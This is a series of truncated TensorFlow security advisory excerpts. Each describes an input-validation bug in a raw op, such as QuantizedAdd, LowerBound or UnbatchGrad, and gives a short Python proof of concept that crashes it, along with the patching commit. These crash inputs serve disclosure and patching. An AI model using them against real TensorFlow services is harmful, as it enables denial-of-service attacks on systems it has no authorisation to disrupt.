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### Impact If `QuantizedAdd` is given `min_input` or `max_input` tensors of a nonzero rank, it results in a segfault that can be used to trigger a denial of service attack. ```python import tensorflow as tf Toutput = tf.qint32 x = tf.constant(140, shape=[1], dtype=tf.quint8) y = tf.constant(26, shape=[10], dtype=tf.quint8) min_x = tf.constant([], shape=[0], dtype=tf.float32) max_x = tf.constant(0, shape=[], dtype=tf.float32) min_y = tf.constant(0, shape=[], dtype=tf.float32) max_y = tf.constant(0, shape=[], dtype=tf.float32) tf.raw_ops.QuantizedAdd(x=x, y=y, min_x=min_x, max_x=max_x, min_y=min_y, max_y=max_y, Toutput=Toutput) ``` ### Patches We have patched the issue in GitHub commit [49b3824d83af706df0ad07e4e677d88659756d89](https://github.com/tensorflow/tensorflow/commit/49b3824d83af706df0ad07e4e677d88659756d89). The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected...

### Impact If `QuantizedAvgPool` is given `min_input` or `max_input` tensors of a nonzero rank, it results in a segfault that can be used to trigger a denial of service attack. ```python import tensorflow as tf ksize = [1, 2, 2, 1] strides = [1, 2, 2, 1] padding = "SAME" input = tf.constant(1, shape=[1,4,4,2], dtype=tf.quint8) min_input = tf.constant([], shape=[0], dtype=tf.float32) max_input = tf.constant(0, shape=[1], dtype=tf.float32) tf.raw_ops.QuantizedAvgPool(input=input, min_input=min_input, max_input=max_input, ksize=ksize, strides=strides, padding=padding) ``` ### Patches We have patched the issue in GitHub commit [7cdf9d4d2083b739ec81cfdace546b0c99f50622](https://github.com/tensorflow/tensorflow/commit/7cdf9d4d2083b739ec81cfdace546b0c99f50622). The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range. ### For more information Plea...

### Impact When `tf.quantization.fake_quant_with_min_max_vars_per_channel_gradient` receives input `min` or `max` of rank other than 1, it gives a `CHECK` fail that can trigger a denial of service attack. ```python import tensorflow as tf arg_0=tf.random.uniform(shape=(1,1), dtype=tf.float32, maxval=None) arg_1=tf.random.uniform(shape=(1,1), dtype=tf.float32, maxval=None) arg_2=tf.random.uniform(shape=(1,1), dtype=tf.float32, maxval=None) arg_3=tf.random.uniform(shape=(1,1), dtype=tf.float32, maxval=None) arg_4=8 arg_5=False arg_6=None tf.quantization.fake_quant_with_min_max_vars_per_channel_gradient(gradients=arg_0, inputs=arg_1, min=arg_2, max=arg_3, num_bits=arg_4, narrow_range=arg_5, name=arg_6) ``` ### Patches We have patched the issue in GitHub commit [f3cf67ac5705f4f04721d15e485e192bb319feed](https://github.com/tensorflow/tensorflow/commit/f3cf67ac5705f4f04721d15e485e192bb319feed). The fix will be included in TensorFlow 2.10.0. We will also cherrypic...

### Impact When `TensorListScatter` and `TensorListScatterV2` receive an `element_shape` of a rank greater than one, they give a `CHECK` fail that can trigger a denial of service attack. ```python import tensorflow as tf arg_0=tf.random.uniform(shape=(2, 2, 2), dtype=tf.float16, maxval=None) arg_1=tf.random.uniform(shape=(2, 2, 2), dtype=tf.int32, maxval=65536) arg_2=tf.random.uniform(shape=(2, 2, 2), dtype=tf.int32, maxval=65536) arg_3='' tf.raw_ops.TensorListScatter(tensor=arg_0, indices=arg_1, element_shape=arg_2, name=arg_3) ``` ### Patches We have patched the issue in GitHub commit [bb03fdf4aae944ab2e4b35c7daa051068a8b7f61](https://github.com/tensorflow/tensorflow/commit/bb03fdf4aae944ab2e4b35c7daa051068a8b7f61). The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range. ### For more information Please consult [our security guide](https...

### Impact If `LowerBound` or `UpperBound` is given an empty`sorted_inputs` input, it results in a `nullptr` dereference, leading to a segfault that can be used to trigger a denial of service attack. ```python import tensorflow as tf out_type = tf.int32 sorted_inputs = tf.constant([], shape=[10,0], dtype=tf.float32) values = tf.constant([], shape=[10,10,0,10,0], dtype=tf.float32) tf.raw_ops.LowerBound(sorted_inputs=sorted_inputs, values=values, out_type=out_type) ``` ```python import tensorflow as tf out_type = tf.int64 sorted_inputs = tf.constant([], shape=[2,2,0,0,0,0,0,2], dtype=tf.float32) values = tf.constant(0.372660398, shape=[2,4], dtype=tf.float32) tf.raw_ops.UpperBound(sorted_inputs=sorted_inputs, values=values, out_type=out_type) ``` ### Patches We have patched the issue in GitHub commit [bce3717eaef4f769019fd18e990464ca4a2efeea](https://github.com/tensorflow/tensorflow/commit/bce3717eaef4f769019fd18e990464ca4a2efeea). The fix will be included in TensorFlow 2.10.0. We wi...

### Impact When `TensorListFromTensor` receives an `element_shape` of a rank greater than one, it gives a `CHECK` fail that can trigger a denial of service attack. ```python import tensorflow as tf arg_0=tf.random.uniform(shape=(6, 6, 2), dtype=tf.bfloat16, maxval=None) arg_1=tf.random.uniform(shape=(6, 9, 1, 3), dtype=tf.int64, maxval=65536) arg_2='' tf.raw_ops.TensorListFromTensor(tensor=arg_0, element_shape=arg_1, name=arg_2) ``` ### Patches We have patched the issue in GitHub commit [3db59a042a38f4338aa207922fa2f476e000a6ee](https://github.com/tensorflow/tensorflow/commit/3db59a042a38f4338aa207922fa2f476e000a6ee). The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range. ### For more information Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the securit...

### Impact When `SetSize` receives an input `set_shape` that is not a 1D tensor, it gives a `CHECK` fails that can be used to trigger a denial of service attack. ```python import tensorflow as tf arg_0=1 arg_1=[1,1] arg_2=1 arg_3=True arg_4='' tf.raw_ops.SetSize(set_indices=arg_0, set_values=arg_1, set_shape=arg_2, validate_indices=arg_3, name=arg_4) ``` ### Patches We have patched the issue in GitHub commit [cf70b79d2662c0d3c6af74583641e345fc939467](https://github.com/tensorflow/tensorflow/commit/cf70b79d2662c0d3c6af74583641e345fc939467). The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range. ### For more information Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions. ##...

### Impact The implementation of `BlockLSTMGradV2` does not fully validate its inputs. - `wci`, `wcf`, `wco`, `b` must be rank 1 - `w`, cs_prev`, `h_prev` must be rank 2 - `x` must be rank 3 This results in a a segfault that can be used to trigger a denial of service attack. ```python import tensorflow as tf use_peephole = False seq_len_max = tf.constant(1, shape=[], dtype=tf.int64) x = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32) cs_prev = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32) h_prev = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32) w = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32) wci = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32) wcf = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32) wco = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32) b = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32) i = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32) cs = tf.constant(0.504355371, shape...

### Impact The implementation of `FractionalAvgPoolGrad` does not fully validate the input `orig_input_tensor_shape`. This results in an overflow that results in a `CHECK` failure which can be used to trigger a denial of service attack. ```python import tensorflow as tf overlapping = True orig_input_tensor_shape = tf.constant(-1879048192, shape=[4], dtype=tf.int64) out_backprop = tf.constant([], shape=[0,0,0,0], dtype=tf.float64) row_pooling_sequence = tf.constant(1, shape=[4], dtype=tf.int64) col_pooling_sequence = tf.constant(1, shape=[4], dtype=tf.int64) tf.raw_ops.FractionalAvgPoolGrad(orig_input_tensor_shape=orig_input_tensor_shape, out_backprop=out_backprop, row_pooling_sequence=row_pooling_sequence, col_pooling_sequence=col_pooling_sequence, overlapping=overlapping) ``` ### Patches We have patched the issue in GitHub commit [03a659d7be9a1154fdf5eeac221e5950fec07dad](https://github.com/tensorflow/tensorflow/commit/03a659d7be9a1154fdf5eeac221e5950fec07dad). The fix will be inc...

### Impact The [`UnbatchGradOp`](https://github.com/tensorflow/tensorflow/blob/769eddaf479c8debead9a59a72617d6ed6f0fe10/tensorflow/core/kernels/batch_kernels.cc#L891) function takes an argument `id` that is assumed to be a scalar. A nonscalar `id` can trigger a `CHECK` failure and crash the program. ```python import numpy as np import tensorflow as tf # `id` is not scalar tf.raw_ops.UnbatchGrad(original_input= tf.constant([1]),batch_index=tf.constant([[0,0,0 ], ], dtype=tf.int64),grad=tf.constant([1,]),id=tf.constant([1,1,], dtype=tf.int64)) ``` It also requires its argument `batch_index` to contain three times the number of elements as indicated in its `batch_index.dim_size(0)`. An incorrect `batch_index` can trigger a `CHECK` failure and crash the program. ```python import numpy as np import tensorflow as tf # batch_index's size is not 3 tf.raw_ops.UnbatchGrad(original_input= tf.constant([1]),batch_index=tf.constant([[0,0], ], dtype=tf.int64),grad=tf.constant([1,]),id=tf.constant([...